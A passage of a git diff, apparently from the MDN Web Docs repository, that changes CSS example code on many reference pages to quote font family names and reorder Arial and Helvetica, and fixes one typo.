index 851f860180f97c5..4743b16a1fdfe63 100644
--- a/files/en-us/web/css/corner-block-start-shape/index.md
+++ b/files/en-us/web/css/corner-block-start-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-bottom-left-shape/index.md b/files/en-us/web/css/corner-bottom-left-shape/index.md
index 6170b6c428073a3..76c77742abde499 100644
--- a/files/en-us/web/css/corner-bottom-left-shape/index.md
+++ b/files/en-us/web/css/corner-bottom-left-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-bottom-right-shape/index.md b/files/en-us/web/css/corner-bottom-right-shape/index.md
index 0b7441940a576ef..6e6ab1f7670c036 100644
--- a/files/en-us/web/css/corner-bottom-right-shape/index.md
+++ b/files/en-us/web/css/corner-bottom-right-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-bottom-shape/index.md b/files/en-us/web/css/corner-bottom-shape/index.md
index 0e46ee665849d9b..298987d30bbc55d 100644
--- a/files/en-us/web/css/corner-bottom-shape/index.md
+++ b/files/en-us/web/css/corner-bottom-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-end-end-shape/index.md b/files/en-us/web/css/corner-end-end-shape/index.md
index 70175e24257e30f..a1957dd94605a83 100644
--- a/files/en-us/web/css/corner-end-end-shape/index.md
+++ b/files/en-us/web/css/corner-end-end-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-end-start-shape/index.md b/files/en-us/web/css/corner-end-start-shape/index.md
index bc5691764328abb..427355d00c3ceef 100644
--- a/files/en-us/web/css/corner-end-start-shape/index.md
+++ b/files/en-us/web/css/corner-end-start-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-inline-end-shape/index.md b/files/en-us/web/css/corner-inline-end-shape/index.md
index 11ce720b84b3ca1..3300777f4c674d3 100644
--- a/files/en-us/web/css/corner-inline-end-shape/index.md
+++ b/files/en-us/web/css/corner-inline-end-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-inline-start-shape/index.md b/files/en-us/web/css/corner-inline-start-shape/index.md
index ff2ff71b76f4b85..5eef1c50f7d733f 100644
--- a/files/en-us/web/css/corner-inline-start-shape/index.md
+++ b/files/en-us/web/css/corner-inline-start-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-left-shape/index.md b/files/en-us/web/css/corner-left-shape/index.md
index 0ab9328467d7fd4..8ea6ef35b021fef 100644
--- a/files/en-us/web/css/corner-left-shape/index.md
+++ b/files/en-us/web/css/corner-left-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-right-shape/index.md b/files/en-us/web/css/corner-right-shape/index.md
index 0984815cf374414..3a4f60686488dee 100644
--- a/files/en-us/web/css/corner-right-shape/index.md
+++ b/files/en-us/web/css/corner-right-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-shape-value/index.md b/files/en-us/web/css/corner-shape-value/index.md
index 48b7960f4615f98..6b230c51ee5e9dd 100644
--- a/files/en-us/web/css/corner-shape-value/index.md
+++ b/files/en-us/web/css/corner-shape-value/index.md
@@ -89,7 +89,7 @@ The `corner-shape` property defines the shape of the box's corners while the reg
 
 ```css hidden live-sample___value-comparison
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/web/css/corner-shape/index.md b/files/en-us/web/css/corner-shape/index.md
index 0a27af1e1359a66..b5d73e1c3933b6e 100644
--- a/files/en-us/web/css/corner-shape/index.md
+++ b/files/en-us/web/css/corner-shape/index.md
@@ -156,7 +156,7 @@ We give the box a fixed {{cssxref("height")}}, a {{cssxref("box-shadow")}}, a `b
 
 ```css hidden live-sample___basic-corner-shape
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
@@ -245,7 +245,7 @@ html {
 }
 
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   height: inherit;
   margin: 0;
   display: flex;
@@ -361,7 +361,7 @@ We apply a {{cssxref("box-shadow")}} to the `<section>`. We also give the `<sect
 
 ```css hidden live-sample___corner-shape-select
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
@@ -490,7 +490,7 @@ We apply a {{cssxref("box-shadow")}} to the `<section>` element. Additional basi
 
 ```css hidden live-sample___superellipse-slider
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/web/css/corner-start-end-shape/index.md b/files/en-us/web/css/corner-start-end-shape/index.md
index ad8799efbac0cbf..9a7a053b70e3cce 100644
--- a/files/en-us/web/css/corner-start-end-shape/index.md
+++ b/files/en-us/web/css/corner-start-end-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-start-start-shape/index.md b/files/en-us/web/css/corner-start-start-shape/index.md
index efa1d2119f9b070..43031fb313ed610 100644
--- a/files/en-us/web/css/corner-start-start-shape/index.md
+++ b/files/en-us/web/css/corner-start-start-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-top-left-shape/index.md b/files/en-us/web/css/corner-top-left-shape/index.md
index ee2dcb4213c0683..11bfa95ffc38d63 100644
--- a/files/en-us/web/css/corner-top-left-shape/index.md
+++ b/files/en-us/web/css/corner-top-left-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-top-right-shape/index.md b/files/en-us/web/css/corner-top-right-shape/index.md
index 93047833096ca6e..c251c29017a0762 100644
--- a/files/en-us/web/css/corner-top-right-shape/index.md
+++ b/files/en-us/web/css/corner-top-right-shape/index.md
@@ -65,7 +65,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-top-shape/index.md b/files/en-us/web/css/corner-top-shape/index.md
index 4b4b7b23cec5a11..8134948c1ebdf00 100644
--- a/files/en-us/web/css/corner-top-shape/index.md
+++ b/files/en-us/web/css/corner-top-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/css_borders_and_box_decorations/index.md b/files/en-us/web/css/css_borders_and_box_decorations/index.md
index 5acfc017fa6a1f2..ce647c263747cb2 100644
--- a/files/en-us/web/css/css_borders_and_box_decorations/index.md
+++ b/files/en-us/web/css/css_borders_and_box_decorations/index.md
@@ -82,7 +82,7 @@ body:has(input:checked) div {
 
 @layer pageSetUp {
   html {
-    font-family: Arial, Helvetica, sans-serif;
+    font-family: "Helvetica", "Arial", sans-serif;
   }
   body {
     max-width: 600px;
diff --git a/files/en-us/web/css/css_cascade/shorthand_properties/index.md b/files/en-us/web/css/css_cascade/shorthand_properties/index.md
index e9c648bcfe6da62..250ae46c1a8d116 100644
--- a/files/en-us/web/css/css_cascade/shorthand_properties/index.md
+++ b/files/en-us/web/css/css_cascade/shorthand_properties/index.md
@@ -91,14 +91,14 @@ font-style: italic;
 font-weight: bold;
 font-size: 0.8em;
 line-height: 1.2;
-font-family: Arial, sans-serif;
+font-family: "Arial", sans-serif;
 ```
 
 These 5 statements can be shortened to the following:
 
 ```css
 font:
-  italic bold 0.8em/1.2 Arial,
+  italic bold 0.8em/1.2 "Arial",
   sans-serif;
 ```
 
diff --git a/files/en-us/web/css/css_colors/color_format_converter/index.md b/files/en-us/web/css/css_colors/color_format_converter/index.md
index e666bd1d8f04f2d..0bf26c17f804c4e 100644
--- a/files/en-us/web/css/css_colors/color_format_converter/index.md
+++ b/files/en-us/web/css/css_colors/color_format_converter/index.md
@@ -163,7 +163,7 @@ dialog {
   border-radius: 5px;
   box-shadow: 3px 3px 10px rgb(0 0 0 / 0.2);
   background-color: white;
-  font-family: segue, arial, helvetica, sans-serif;
+  font-family: "Segue", "Helvetica", "Arial", sans-serif;
   margin-top: 5vh;
   width: 550px;
 }
diff --git a/files/en-us/web/css/css_colors/color_values/index.md b/files/en-us/web/css/css_colors/color_values/index.md
index 20d336cdf8cde6b..cfb02f44cc523a5 100644
--- a/files/en-us/web/css/css_colors/color_values/index.md
+++ b/files/en-us/web/css/css_colors/color_values/index.md
@@ -165,8 +165,8 @@ table {
   border: 1px solid black;
   font:
     16px "Open Sans",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
   border-spacing: 0;
   border-collapse: collapse;
@@ -254,8 +254,8 @@ table {
   border: 1px solid black;
   font:
     16px "Open Sans",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
   border-spacing: 0;
   border-collapse: collapse;
diff --git a/files/en-us/web/css/css_conditional_rules/container_scroll-state_queries/index.md b/files/en-us/web/css/css_conditional_rules/container_scroll-state_queries/index.md
index d3906cc6ee0b121..5d3867ce4ba0fd4 100644
--- a/files/en-us/web/css/css_conditional_rules/container_scroll-state_queries/index.md
+++ b/files/en-us/web/css/css_conditional_rules/container_scroll-state_queries/index.md
@@ -238,7 +238,7 @@ The `.back-to-top` link is given a {{cssxref("position")}} value of `fixed`, pla
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   height: 100%;
 }
 
@@ -487,7 +487,7 @@ The `<section>` elements are designated as snap targets by setting a non-`none`
 
 ```css live-sample___snapped
 section {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 150px;
   height: 150px;
   margin: 50px auto;
@@ -758,7 +758,7 @@ Each `<header>` has a {{cssxref("position")}} value of `sticky` and a {{cssxref(
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   height: 100%;
 }
 
diff --git a/files/en-us/web/css/css_fonts/variable_fonts_guide/index.md b/files/en-us/web/css/css_fonts/variable_fonts_guide/index.md
index b77f4c9cea20eb3..dd5902f6a2567cd 100644
--- a/files/en-us/web/css/css_fonts/variable_fonts_guide/index.md
+++ b/files/en-us/web/css/css_fonts/variable_fonts_guide/index.md
@@ -110,7 +110,7 @@ Click "Play" in the code blocks below to edit the example in the MDN Playground.
 p {
   font:
     1.2em "Amstelvar VF",
-    Georgia,
+    "Georgia",
     serif;
   font-size: 4rem;
   margin: 1rem;
@@ -207,7 +207,7 @@ Click "Play" in the code blocks below to edit the example in the MDN Playground.
 p {
   font:
     1.2em "Amstelvar VF",
-    Georgia,
+    "Georgia",
     serif;
   font-size: 4rem;
   margin: 1rem;
@@ -306,8 +306,8 @@ Click "Play" in the code blocks below to edit the example in the MDN Playground.
 p {
   font:
     1.2em "Jost VF",
-    Helvetica,
-    Arial,
+    "Helvetica",
+    "Arial",
     sans-serif;
   font-size: 4rem;
   margin: 1rem;
@@ -508,7 +508,7 @@ Click "Play" in the code blocks below to edit the example in the MDN Playground.
 p {
   font:
     1.2em "Amstelvar VF",
-    Georgia,
+    "Georgia",
     serif;
   font-size: 4rem;
   margin: 1rem;
@@ -604,7 +604,7 @@ Click "Play" in the code blocks below to edit the example in the MDN Playground.
 p {
   font:
     1.2em "Amstelvar VF",
-    Georgia,
+    "Georgia",
     serif;
   font-size: 64px;
   margin: 1rem;
@@ -777,7 +777,7 @@ The following example pages show two different ways to structure your CSS. The f
 body {
   font:
     1.2em "Amstelvar VF",
-    Georgia,
+    "Georgia",
     serif;
   margin: 20px;
   padding: 0;
diff --git a/files/en-us/web/css/css_generated_content/index.md b/files/en-us/web/css/css_generated_content/index.md
index b62bf48321b6900..423a575c73629d4 100644
--- a/files/en-us/web/css/css_generated_content/index.md
+++ b/files/en-us/web/css/css_generated_content/index.md
@@ -93,7 +93,7 @@ div::before {
   font-size: min(6vh, 2rem);
   justify-content: center;
   display: flex;
-  font-family: comic-sans, papyrus, sans-serif;
+  font-family: "Comic Sans", "Papyrus", sans-serif;
 }
 ```
 
diff --git a/files/en-us/web/css/css_grid_layout/grids_logical_values_and_writing_modes/index.md b/files/en-us/web/css/css_grid_layout/grids_logical_values_and_writing_modes/index.md
index 872773f5a551ba7..578cfdc9c858df9 100644
--- a/files/en-us/web/css/css_grid_layout/grids_logical_values_and_writing_modes/index.md
+++ b/files/en-us/web/css/css_grid_layout/grids_logical_values_and_writing_modes/index.md
@@ -452,8 +452,8 @@ In addition to displaying documents using the correct writing mode for the langu
   grid-gap: 20px;
   grid-template-columns: 1fr auto;
   font:
-    1em Helvetica,
-    Arial,
+    1em "Helvetica",
+    "Arial",
     sans-serif;
 }
 nav {
diff --git a/files/en-us/web/css/css_grid_layout/realizing_common_layouts_using_grids/index.md b/files/en-us/web/css/css_grid_layout/realizing_common_layouts_using_grids/index.md
index eabff28adf9ea19..97b8a9a35eea405 100644
--- a/files/en-us/web/css/css_grid_layout/realizing_common_layouts_using_grids/index.md
+++ b/files/en-us/web/css/css_grid_layout/realizing_common_layouts_using_grids/index.md
@@ -26,8 +26,8 @@ The markup is a container with elements inside for a header, footer, main conten
   max-width: 1024px;
   margin: 0 auto;
   font:
-    1.2em Helvetica,
-    arial,
+    1.2em "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -165,8 +165,8 @@ CSS frameworks and grid systems commonly use 12- or 16-column flexible grids. We
   max-width: 1024px;
   margin: 0 auto;
   font:
-    1.2em Helvetica,
-    arial,
+    1.2em "Helvetica",
+    "Arial",
     sans-serif;
 }
 .wrapper > * {
@@ -242,8 +242,8 @@ To see how this layout method works in practice, we can create the same layout w
   max-width: 1024px;
   margin: 0 auto;
   font:
-    1.2em Helvetica,
-    arial,
+    1.2em "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -439,8 +439,8 @@ img {
 }
 body {
   font:
-    1.2em Helvetica,
-    arial,
+    1.2em "Helvetica",
+    "Arial",
     sans-serif;
 }
 a:link,
@@ -549,8 +549,8 @@ img {
 }
 body {
   font:
-    1.2em Helvetica,
-    arial,
+    1.2em "Helvetica",
+    "Arial",
     sans-serif;
 }
 a:link,
diff --git a/files/en-us/web/css/css_overflow/css_carousels/index.md b/files/en-us/web/css/css_overflow/css_carousels/index.md
index 144aa211f8717ba..f85494347d0f737 100644
--- a/files/en-us/web/css/css_overflow/css_carousels/index.md
+++ b/files/en-us/web/css/css_overflow/css_carousels/index.md
@@ -81,7 +81,7 @@ The unordered list is made to fill the full width of the viewport with a width {
 
 body {
   margin: 0;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
@@ -394,7 +394,7 @@ This example uses [CSS multi-column layout](/en-US/docs/Web/CSS/CSS_multicol_lay
 
 body {
   margin: 0;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_1/index.md b/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_1/index.md
index 4a4b2f0dd647a95..34c181c5bed6b41 100644
--- a/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_1/index.md
+++ b/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_1/index.md
@@ -60,7 +60,7 @@ In terms of stacking contexts, DIV #1 and DIV #3 are assimilated into the root e
 
 ```css
 .bold {
-  font-family: Arial;
+  font-family: "Arial";
   font-size: 12px;
   font-weight: bold;
 }
diff --git a/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_2/index.md b/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_2/index.md
index e5d22e4547b421a..ee80ab6b92e532d 100644
--- a/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_2/index.md
+++ b/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_2/index.md
@@ -60,7 +60,7 @@ To better understand the situation, this is the stacking context hierarchy:
 
 ```css
 div {
-  font: 12px Arial;
+  font: 12px "Arial";
 }
 
 span.bold {
diff --git a/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_3/index.md b/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_3/index.md
index b82859c495fff0e..00b74c5a8c03d73 100644
--- a/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_3/index.md
+++ b/files/en-us/web/css/css_positioned_layout/stacking_context/stacking_context_example_3/index.md
@@ -83,7 +83,7 @@ This problem can be avoided by removing overlapping between different level menu
 
 ```css hidden
 div {
-  font: 12px Arial;
+  font: 12px "Arial";
   font-weight: bold;
   padding-left: 5px;
 }
diff --git a/files/en-us/web/css/css_positioned_layout/understanding_z-index/index.md b/files/en-us/web/css/css_positioned_layout/understanding_z-index/index.md
index ccbe11cef618263..baf052551d774a9 100644
--- a/files/en-us/web/css/css_positioned_layout/understanding_z-index/index.md
+++ b/files/en-us/web/css/css_positioned_layout/understanding_z-index/index.md
@@ -45,7 +45,7 @@ div {
   line-height: 100px;
   font-size: 40px;
   text-align: center;
-  font-family: arial, helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 #div1 {
diff --git a/files/en-us/web/css/css_scroll_snap/using_scroll_snap_events/index.md b/files/en-us/web/css/css_scroll_snap/using_scroll_snap_events/index.md
index 8ce4307f3260a2d..8a6d1c8524d2d0a 100644
--- a/files/en-us/web/css/css_scroll_snap/using_scroll_snap_events/index.md
+++ b/files/en-us/web/css/css_scroll_snap/using_scroll_snap_events/index.md
@@ -144,7 +144,7 @@ h2 {
 }
 
 section {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   border-radius: 5px;
   background: #eeeeee;
   box-shadow:
@@ -283,7 +283,7 @@ body {
 }
 
 section {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   border-radius: 5px;
   background: #eeeeee;
   box-shadow:
diff --git a/files/en-us/web/css/css_transforms/index.md b/files/en-us/web/css/css_transforms/index.md
index 779ebe5749e6ce0..ce9f4eab390cb2d 100644
--- a/files/en-us/web/css/css_transforms/index.md
+++ b/files/en-us/web/css/css_transforms/index.md
@@ -358,8 +358,8 @@ Use the sliders in the example below to modify the translation, rotation, scale,
   margin-bottom: 4px;
   accent-color: blue; /* or any color */
   font-family:
-    Inter, "system-ui", "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell,
-    "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+    "Inter", "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans",
+    "Droid Sans", "Helvetica Neue", sans-serif;
 }
 
 #allTransformFieldset > legend {
diff --git a/files/en-us/web/css/css_transitions/using_css_transitions/index.md b/files/en-us/web/css/css_transitions/using_css_transitions/index.md
index 068ed107d4ba96d..10ae9067ade462f 100644
--- a/files/en-us/web/css/css_transitions/using_css_transitions/index.md
+++ b/files/en-us/web/css/css_transitions/using_css_transitions/index.md
@@ -319,9 +319,9 @@ body {
   background-color: white;
   color: #333333;
   font:
-    1.2em / 1.5 Helvetica Neue,
-    Helvetica,
-    Arial,
+    1.2em / 1.5 "Helvetica Neue",
+    "Helvetica",
+    "Arial",
     sans-serif;
   padding: 0;
   margin: 0;
diff --git a/files/en-us/web/css/css_values_and_units/using_css_typed_arithmetic/index.md b/files/en-us/web/css/css_values_and_units/using_css_typed_arithmetic/index.md
index 4af15a1046a2b96..14649ae04be95e3 100644
--- a/files/en-us/web/css/css_values_and_units/using_css_typed_arithmetic/index.md
+++ b/files/en-us/web/css/css_values_and_units/using_css_typed_arithmetic/index.md
@@ -218,7 +218,7 @@ We start off our CSS in a similar way to the previous demo, creating a unitless
 
 Now on to the styling of the paragraph itself. We first give it some basic styles (a {{cssxref("border")}} and {{cssxref("text-align")}} of `center`), then set two values based on the `--viewport-in-pixels` property created earlier:
 
-1. We set the {{cssxref("font-size")}} of the paragraph to a value equal to `--viewport-in-pixels` divided by `200`, multplied by `1em` to convert the numeric quotient into `em`s.
+1. We set the {{cssxref("font-size")}} of the paragraph to a value equal to `--viewport-in-pixels` divided by `200`, multiplied by `1em` to convert the numeric quotient into `em`s.
 2. We set the {{cssxref("background-color")}} of the paragraph to an [`lch()`](/en-US/docs/Web/CSS/color_value/lch) color value. The lightness and chroma components are constant values (`75%` and `50%`, respectively), whereas the hue component is set to `--viewport-in-pixels` divided by `10`, plus `100`. We then multiply the result of that by `1deg` to ensure the value is an {{cssxref("angle")}}.
    > [!NOTE]
    > This last step is not strictly necessary, as `lch()` also accepts unitless hue values. However, a degree value may be more intuitive, and we wanted to show another example of how the unitless value can be converted into a different data type.
diff --git a/files/en-us/web/css/dashed-ident/index.md b/files/en-us/web/css/dashed-ident/index.md
index 20e91e138341849..418c84386484bf2 100644
--- a/files/en-us/web/css/dashed-ident/index.md
+++ b/files/en-us/web/css/dashed-ident/index.md
@@ -65,7 +65,7 @@ When `<dashed-ident>` is used with the [@font-palette-values](/en-US/docs/Web/CS
 
 ```css
 @font-palette-values --my-palette {
-  font-family: Bixa;
+  font-family: "Bixa";
   base-palette: 1;
   override-colors: 0 red;
 }
diff --git a/files/en-us/web/css/display/index.md b/files/en-us/web/css/display/index.md
index 024e56ba41b1cfd..5312d8d7c7ec5e2 100644
--- a/files/en-us/web/css/display/index.md
+++ b/files/en-us/web/css/display/index.md
@@ -425,7 +425,7 @@ We have included {{cssxref("padding")}} and {{cssxref("background-color")}} on t
 
 ```css
 html {
-  font-family: helvetica, arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   letter-spacing: 1px;
   padding-top: 10px;
 }
diff --git a/files/en-us/web/css/flex-basis/index.md b/files/en-us/web/css/flex-basis/index.md
index fee86571477c56d..4a2b335ca8dda8a 100644
--- a/files/en-us/web/css/flex-basis/index.md
+++ b/files/en-us/web/css/flex-basis/index.md
@@ -130,7 +130,7 @@ The `flex-basis` property is specified as either the keyword `content` or a `<'w
 
 ```css
 .container {
-  font-family: arial, sans-serif;
+  font-family: "Arial", sans-serif;
   margin: 0;
   padding: 0;
   list-style-type: none;
diff --git a/files/en-us/web/css/flex/index.md b/files/en-us/web/css/flex/index.md
index c169cceb940466d..a2222372f0217d5 100644
--- a/files/en-us/web/css/flex/index.md
+++ b/files/en-us/web/css/flex/index.md
@@ -259,7 +259,7 @@ body * {
   padding: 1rem;
   user-select: none;
   box-sizing: border-box;
-  font-family: Consolas, Arial, sans-serif;
+  font-family: "Consolas", "Arial", sans-serif;
 }
 ```
 
diff --git a/files/en-us/web/css/font-family/index.md b/files/en-us/web/css/font-family/index.md
index 775f0fcedb98bbc..d25386efd9dbb87 100644
--- a/files/en-us/web/css/font-family/index.md
+++ b/files/en-us/web/css/font-family/index.md
@@ -11,7 +11,7 @@ The **`font-family`** [CSS](/en-US/docs/Web/CSS) property specifies a prioritize
 {{InteractiveExample("CSS Demo: font-family")}}
 
 ```css interactive-example-choice
-font-family: Georgia, serif;
+font-family: "Georgia", serif;
 ```
 
 ```css interactive-example-choice
@@ -164,15 +164,15 @@ font-family: "Gill Sans Extrabold", sans-serif;
 
 ```css
 .serif {
-  font-family: Times, "Times New Roman", Georgia, serif;
+  font-family: "Times", "Times New Roman", "Georgia", serif;
 }
 
 .sansserif {
-  font-family: Verdana, Arial, Helvetica, sans-serif;
+  font-family: "Verdana", "Helvetica", "Arial", sans-serif;
 }
 
 .monospace {
-  font-family: "Lucida Console", Courier, monospace;
+  font-family: "Lucida Console", "Courier New", monospace;
 }
 
 .cursive {
diff --git a/files/en-us/web/css/font-feature-settings/index.md b/files/en-us/web/css/font-feature-settings/index.md
index 9fb4e3a11d34b02..01225e2da4be4b7 100644
--- a/files/en-us/web/css/font-feature-settings/index.md
+++ b/files/en-us/web/css/font-feature-settings/index.md
@@ -165,7 +165,7 @@ td.tabular {
 
 /* enable stylistic set 7 */
 .fancy-style {
-  font-family: Gabriola, cursive;
+  font-family: "Gabriola", cursive;
   font-feature-settings: "ss07";
 }
 ```
diff --git a/files/en-us/web/css/font-optical-sizing/index.md b/files/en-us/web/css/font-optical-sizing/index.md
index 97e90404de9e763..c1e1a1101d16b00 100644
--- a/files/en-us/web/css/font-optical-sizing/index.md
+++ b/files/en-us/web/css/font-optical-sizing/index.md
@@ -35,12 +35,12 @@ font-optical-sizing: none;
 ```css interactive-example
 @font-face {
   src: url("/shared-assets/fonts/variable-fonts/AmstelvarAlpha-VF.ttf");
-  font-family: Amstelvar;
+  font-family: "Amstelvar";
   font-style: normal;
 }
 
 #example-element {
-  font-family: Amstelvar, serif;
+  font-family: "Amstelvar", serif;
   text-align: left;
 }
 
@@ -113,7 +113,7 @@ When optical sizing is used, small text sizes are often rendered with thicker st
 
 p {
   font-size: 36px;
-  font-family: Amstelvar, serif;
+  font-family: "Amstelvar", serif;
 }
 
 .no-optical-sizing {
diff --git a/files/en-us/web/css/font-palette/index.md b/files/en-us/web/css/font-palette/index.md
index d749b3f3e09fc9c..7474a3148338138 100644
--- a/files/en-us/web/css/font-palette/index.md
+++ b/files/en-us/web/css/font-palette/index.md
@@ -79,12 +79,12 @@ In the CSS, we import a [color font](https://www.colorfonts.wtf/) called [Nabla]
 @import "https://fonts.googleapis.com/css2?family=Nabla&display=swap";
 
 @font-palette-values --blue-nabla {
-  font-family: Nabla;
+  font-family: "Nabla";
   base-palette: 2; /* this is Nabla's blue palette */
 }
 
 @font-palette-values --grey-nabla {
-  font-family: Nabla;
+  font-family: "Nabla";
   base-palette: 3; /* this is Nabla's grey palette */
 }
 
diff --git a/files/en-us/web/css/font-palette/palette-mix/index.md b/files/en-us/web/css/font-palette/palette-mix/index.md
index 258db6fa0a2c3c4..fef3c3e0d38620d 100644
--- a/files/en-us/web/css/font-palette/palette-mix/index.md
+++ b/files/en-us/web/css/font-palette/palette-mix/index.md
@@ -80,12 +80,12 @@ In the CSS, we import a color font from Google Fonts, and define two custom `fon
 @import "https://fonts.googleapis.com/css2?family=Nabla&display=swap";
 
 @font-palette-values --blue-nabla {
-  font-family: Nabla;
+  font-family: "Nabla";
   base-palette: 2; /* this is Nabla's blue palette */
 }
 
